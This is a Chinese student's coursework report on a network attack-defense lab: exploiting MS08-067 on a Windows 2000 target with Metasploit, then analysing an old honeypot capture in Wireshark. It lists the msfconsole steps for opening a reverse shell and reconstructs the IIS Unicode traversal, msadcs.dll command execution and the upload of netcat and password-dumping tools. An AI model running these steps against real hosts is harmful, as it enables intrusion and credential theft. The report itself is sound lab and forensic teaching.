20253921 2025-2026-2 《网络攻防实践》第六周作业

20253921 2025-2026-2 《网络攻防实践》第六周作业

1.实践内容

(1)学习使用 Metasploit 对 Windows 靶机进行远程渗透,掌握漏洞模块选择、参数配置、payload 设置以及远程获取命令执行权限的方法。

(2)使用 Wireshark 对攻击流量进行取证分析,学习从数据包中还原攻击过程,识别漏洞利用方式、攻击工具、后续控制行为及安全风险。

(3)开展 Windows 系统攻防对抗实践,结合 Nessus、Metasploit 和 Wireshark,理解漏洞扫描、远程渗透与流量分析之间的关系。

2.实验过程

(1)动手实践 Metasploit Windows Attacker

首先,在 Kali Linux 攻击机上使用 ping 192.168.200.131 对目标主机进行连通性测试,结果显示能够正常收到目标主机返回的数据包,说明攻击机与靶机之间网络通信正常。随后在攻击机终端中启动 msfconsole,进入 Metasploit 控制台环境,为后续漏洞利用做准备。(这里因为出现了问题,所以背后把目标主机的ip改为了192.168.200.66

进入 Metasploit 后,使用 search ms08_067 搜索与 MS08-067 漏洞相关的利用模块。搜索结果中显示存在 exploit/windows/smb/ms08_067_netapi 模块,同时列出了多个适用的目标系统版本。由此可以确认 Metasploit 中已经集成了针对该漏洞的利用模块,可用于后续实验。

在确认模块存在后,使用 use 0 进入搜索结果中的第一个模块,即 exploit/windows/smb/ms08_067_netapi。进入模块后,再执行 show targets 查看该漏洞利用模块支持的目标系统列表。结果显示模块支持 Windows 2000、Windows XP、Windows 2003 等多个版本,并默认采用 Automatic Targeting,说明该模块可以根据目标系统情况自动选择对应的利用方式。

随后,在模块中执行 show options 查看当前利用模块需要设置的参数。结果中可以看到该模块主要需要配置目标主机地址 RHOSTS,同时还显示了当前默认的 RPORT 为 445,说明该漏洞利用是基于 SMB 服务进行的。此外,结果中还显示了回连地址 LHOST 和监听端口 LPORT 等载荷参数,为后续攻击配置提供了依据。

为了确认可用的攻击载荷,继续执行 show payloads 查看与该模块兼容的所有 payload。结果显示可以选择多种类型的载荷,包括 Meterpreter、bind shell、reverse shell 等。实验中最终选择了 generic/shell_reverse_tcp 作为回连载荷,用于在漏洞利用成功后获取目标主机返回的命令行会话。

在完成模块和载荷选择后,继续设置相关参数。实验中先使用 set payload generic/shell_reverse_tcp 指定回连载荷,然后使用 set RHOST 192.168.200.66 设置靶机地址,再使用 set LHOST 192.168.200.65 设置攻击机地址。参数配置完成后,执行 exploit 发起漏洞利用。Metasploit 随后启动反向 TCP 监听,并开始对目标主机进行漏洞利用尝试。
利用执行后,终端显示 Metasploit 已成功识别目标系统信息,并自动选择合适的目标类型进行攻击。随后界面中出现 Command shell session opened 提示,同时返回了目标主机的命令行界面,显示系统版本为 Microsoft Windows 2000。这说明针对目标主机 MS08-067 漏洞的远程渗透攻击已经成功,攻击机获得了目标主机的命令执行权限。

为了进一步观察攻击过程中的网络通信情况,实验中同时在攻击机上启动 Wireshark 对网卡接口流量进行抓包。抓包结果中可以看到攻击机与目标主机之间建立了基于 TCP 的通信连接,并存在从目标主机回连到攻击机监听端口的流量,说明漏洞利用成功后确实建立了反向连接。

在 Wireshark 中进一步通过 Follow TCP Stream 查看具体的 TCP 会话内容,可以看到返回的数据中包含目标主机的命令行界面信息以及执行命令后的回显结果。这说明攻击成功后,攻击机与靶机之间已经建立了可交互的远程命令会话,进一步验证了本次远程渗透实验的成功。

(2)取证分析实践:解码一次成功的NT系统破解攻击

先把下载的资料,把 .log 后缀改成 .pcap,使用 wireshark 打开。

先对整个攻击流程进行分析,从最开始的 HTTP 会话可以看到,攻击者先访问了目标站点 lab.wiretrip.net 的默认页面,服务器正常返回了网站首页内容。返回页面中可以看到站点名称、页面结构以及留言簿入口等信息。这一步说明攻击者先对目标 Web 服务进行了初步访问和探测,用来确认站点是否可用、运行的服务类型以及可以继续利用的入口位置。

在后续会话中,攻击者构造了带有特殊编码路径的 HTTP 请求,请求目标为 boot.ini 文件。该请求实际上利用了 IIS 服务器上的 Unicode 目录遍历漏洞,通过经过编码的目录跳转绕过路径限制,直接访问系统敏感文件。服务器成功返回了 boot.ini 内容,其中暴露出目标系统为 Windows NT Server, Enterprise Edition Version 4.00。这一步说明攻击者先通过读取系统文件确认目标主机的操作系统类型和漏洞可利用情况,为下一步入侵做准备。

在确认目标环境之后,攻击者又向 /msadc/msadcs.dll/AdvancedDataFactory.Query 发送了一个恶意 POST 请求。从该会话内容来看,请求中已经不再只是普通访问,而是利用了 msadcs.dll 相关接口存在的问题,构造参数让服务器在后台执行系统命令。命令内容中可以看到攻击者通过 cmd /c 的方式在目标系统上执行操作,并尝试写入测试内容到文件中。这说明攻击已经从“信息探测”进入到了“远程命令执行”阶段,攻击者此时已经具备了在目标主机上执行命令的能力。

在命令执行之后,攻击者继续发送新的 HTTP 请求,访问前一步命令生成的文件内容。从会话中可以看到,服务器成功返回了写入的测试字符串,这说明攻击者已经成功在目标机器上执行命令,并且能够通过 Web 请求读取执行结果。这个步骤实际上是攻击者在验证自己是否已经真正获得了对主机的控制能力,也是一次典型的“写文件—读文件”验证过程。

从另一条关键会话可以看到,攻击者请求中直接包含了 cmd.exe,并尝试将系统命令解释器复制为新的文件名。虽然服务器返回的是 502 Gateway Error,但错误页面中明确显示了 1 file(s) copied.,说明复制命令实际上已经执行成功,只是 CGI 返回格式不完整而导致 Web 端报错。这个现象表明,攻击者已经不满足于单次命令执行,而是在尝试为后续持续控制准备一个更方便调用的命令执行入口。

继续分析后续会话,可以看到攻击者登录 FTP 服务后,先后下载了多个文件到目标系统,包括 nc.exepdump.exesamdump.dll。这一步非常关键,因为它说明攻击者在成功拿到初步权限后,开始向被控主机投放后续工具。其中 nc.exe 常用于建立远程控制通道,pdump.exesamdump.dll 则常与口令转储、账户信息提取相关。这表明攻击者的目标已经从“验证能否入侵”转向“扩大控制能力和提取敏感信息”。可以看到攻击者已经进入目标系统命令行,并执行了 dir 命令查看目录内容。目录列表中清楚显示了 cmd1.exenc.exepdump.exesamdump.dll 等文件已经存在于目标路径下。这说明攻击者不仅成功执行了命令,还成功把多个工具传输到目标主机,并对上传结果进行了确认。到这一步,可以判断目标主机已经处于被攻击者有效控制的状态。

1)攻击者使用了什么破解工具进行攻击

通过对相关会话内容的分析,可以判断攻击者使用的主要攻击工具是 Whisker。从攻击过程中可以看到,攻击者发起了多次针对 IIS 的特殊 HTTP 请求,这些请求包含典型的 Unicode 编码目录遍历特征,并进一步结合了对 msadc 组件的利用,说明其使用的并不是普通浏览器手工测试,而是针对 IIS 漏洞的专门利用工具。
在后续请求中还可以直接看到攻击者操作里出现了 whisker.tar.gz 文件名,这进一步说明攻击者所使用的工具与 Whisker 有直接关系。结合攻击流量中的请求特征和文件名信息,可以认为攻击者使用的是 Whisker 这一类针对 IIS 漏洞进行扫描与利用的工具,并借助它对目标主机发起了后续入侵。

2)攻击者如何使用这个破解工具进入并控制了系统

从前面的攻击过程分析中可以知道,攻击者先利用 IIS 的 Unicode 目录遍历漏洞读取了目标主机的 boot.ini 文件,从而确认目标系统为 Windows NT,并验证服务器存在可利用漏洞。完成环境确认后,攻击者进一步利用 msadc/msadcs.dll 相关接口构造恶意请求,在服务器端执行 cmd /c 命令,实现远程命令执行。

在获得命令执行能力后,攻击者又通过写入并读取测试文件的方式验证命令是否成功执行,随后复制 cmd.exe 作为新的命令执行入口。通过这一系列操作,攻击者逐步从漏洞探测发展到远程命令执行,最终实现了对目标系统的控制。

3)攻击者获得系统访问权限后做了什么

攻击者在获得系统访问权限后,首先进入了 C:\Program Files\Common Files\system\msadc 目录,并执行了 dir 命令查看当前目录内容。目录列表中已经出现了 cmd1.exenc.exepdump.exesamdump.dll 等文件,这说明攻击者已经把后续利用所需的工具上传到了目标主机,并通过查看目录确认这些工具已经成功落地。

攻击者随后又进一步切换到 C:\ 根目录,继续执行 dir 命令查看系统文件和目录结构。同时,他还尝试删除前面测试时生成的 fun 文件,说明攻击者在获得权限后不仅在熟悉目标系统环境,也在清理前期攻击过程中留下的部分痕迹。

攻击者继续通过 POST /msadc/msadcs.dll/AdvancedDataFactory.Query 发送恶意请求,在服务器端执行新的系统命令。虽然会话内容中部分字符已经显示为编码后的格式,但可以确认攻击者仍在借助该漏洞接口持续执行命令,这说明他在拿到初步权限后,还在不断扩展对目标系统的控制操作。

攻击者再次通过相同的 msadcs.dll 接口执行命令,而且返回结果显示服务器正常响应,说明命令执行链路依然可用。结合前面已经上传的 nc.exepdump.exesamdump.dll 等文件,可以判断攻击者在获得系统访问权限后,主要做了三件事:一是查看和确认目标系统环境,二是清理部分利用痕迹,三是继续执行命令并准备利用上传的工具进行更深一步的控制和信息提取。

4)我们如何防止这样的攻击

要防止这类攻击,最根本的措施是及时修补 IIS、Windows NT 以及 msadc 相关组件中的已知漏洞,避免攻击者通过 Unicode 目录遍历和远程命令执行漏洞直接进入系统。同时,应关闭不必要的 IIS 扩展和高危组件,尤其是像 msadc 这样容易被利用的功能接口,从源头上减少可攻击面。

另外,还需要加强服务器的访问控制和安全监控。例如限制 Web 服务进程的系统权限,防止攻击者在利用成功后直接执行系统命令;同时部署 Web 日志审计、IDS/IPS 和主机安全监控,对异常 URL 请求、目录遍历特征、可疑命令执行以及恶意工具上传行为及时告警和拦截。只有把补丁修复、最小权限配置和入侵检测结合起来,才能更有效地防止这类攻击。

5)你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?

攻击者已经警觉到目标是一台蜜罐主机。因为在获得系统访问权限并进一步浏览目录后,攻击者直接在 C:\ 根目录下执行了 echo best honeypot i've seen till now :) > rfp.txt 这样的命令。该语句明显不是普通的系统操作,而是攻击者主动留下的一条文字信息,内容明确提到了 honeypot,说明他已经意识到自己攻击的并不是一台普通主机,而是一台用于诱捕和监控攻击行为的蜜罐系统。

另外,攻击者还特意把这句话写入文件中,而不是仅仅停留在命令行中随手输入,这说明他是在有意识地表达自己已经识别出目标环境的特殊性。由此可以认为,攻击者在后续操作过程中已经发现了目标主机的异常,并判断其为蜜罐,因此产生了明显的警觉。

(3)团队对抗实践:Windows 系统远程渗透攻击和分析

首先,攻击方先使用 Nessus 对靶机 192.168.200.66 进行漏洞扫描。从扫描结果可以看到,目标主机在 445/tcp 端口上存在多项与 SMB 服务相关的高危漏洞,其中包括可导致远程代码执行的漏洞信息。通过这一阶段,攻击方初步确认该主机存在可被利用的 Windows SMB 类漏洞,为后续选择 Metasploit 模块提供了依据。

在确定攻击方向后,攻击方在 Kali Linux 主机上启动 msfconsole 进入 Metasploit 控制台。开始时尝试使用 ms06_040_netapi 模块,但模块加载失败;随后重新搜索 ms08_067 相关模块,成功找到 exploit/windows/smb/ms08_067_netapi。由此可见,攻击方最终选择利用的是 MS08-067 Microsoft Server Service Relative Path Stack Corruption 漏洞,对目标 Windows 主机发起远程渗透攻击。

选定模块后,攻击方继续配置相关参数。实验中设置的目标地址为 RHOST = 192.168.200.66,攻击机地址为 LHOST = 192.168.200.65,并选择 target 0 自动目标类型,同时设置合适的 payload。参数配置完成后,攻击方执行 exploit 发起攻击。终端输出显示 Metasploit 自动识别目标系统为 Windows 2000,并成功打开命令行会话,说明漏洞利用成功,攻击方获得了目标主机的控制权。漏洞利用成功后,Metasploit 返回了目标主机的命令行界面,界面中显示系统版本为 Microsoft Windows 2000 [Version 5.00.2195]。攻击方随后执行了简单的命令测试,例如 echo yRQrAoHYBxmbNLTj,目标主机成功返回相同字符串。这说明攻击方不仅完成了远程漏洞利用,而且已经与靶机建立了可交互的远程命令执行通道。

在防守方一侧,使用 Wireshark 对网络接口 eth0 进行抓包监听。从抓包结果中可以看到,攻击机 192.168.200.65 与靶机 192.168.200.66 之间先通过 445 端口建立 SMB 相关通信,随后又建立了新的 TCP 会话。结合抓包界面中的数据包时序和 TCP 流向,可以确认这些流量与漏洞利用建立控制会话的过程相对应。

为了进一步分析攻击内容,防守方在 Wireshark 中使用 Follow TCP Stream 对关键 TCP 会话进行跟踪。跟踪结果中可以直接看到目标主机返回的命令行界面信息,以及攻击方执行 echo yRQrAoHYBxmbNLTj 后的回显结果。这说明防守方不仅能够从抓包中识别出攻击双方的 IP 地址和端口信息,还能够进一步还原攻击成功后的命令交互过程,从而验证目标主机已经被成功控制。

3.学习中遇到的问题及解决

  • 问题1:在进行第一题远程渗透统计实验的时候,进行到最后一步时出现了问题,发现怎么都连接不上,流程都是正常的,但是最后一步的时候会连接不上。检查了靶机端口也没问题。
  • 问题1解决方案:采用的方法就是把我的靶机不再设置为Vmnet1,而是设置为Vmnet8,不设置为仅主机,然后放在同一网段上,最后成功实现连接。

4.学习感悟、思考

这周实验让我把漏洞扫描、漏洞利用和流量分析这几个环节串起来了。先用 Nessus 找漏洞,再用 Metasploit 发起利用,最后再用 Wireshark 去看攻击流量和交互内容,整个过程连起来之后,对远程渗透的实际步骤就更清楚了,也能更直观地理解攻击成功之后网络里会留下哪些痕迹。

另外,这次实验也让我更明显地感受到,做攻防实验不能只停留在把攻击打成功这一步,还要能从防守和取证的角度去分析全过程。比如目标为什么会被利用、攻击者拿到权限后又做了什么、这些行为在数据包里是怎么体现出来的。把这些内容结合起来看之后,对攻击和防御其实是同一个完整过程这件事理解得更深了。

posted @ 2026-04-23 16:32  BoBooooo  阅读(12)  评论(0)    收藏  举报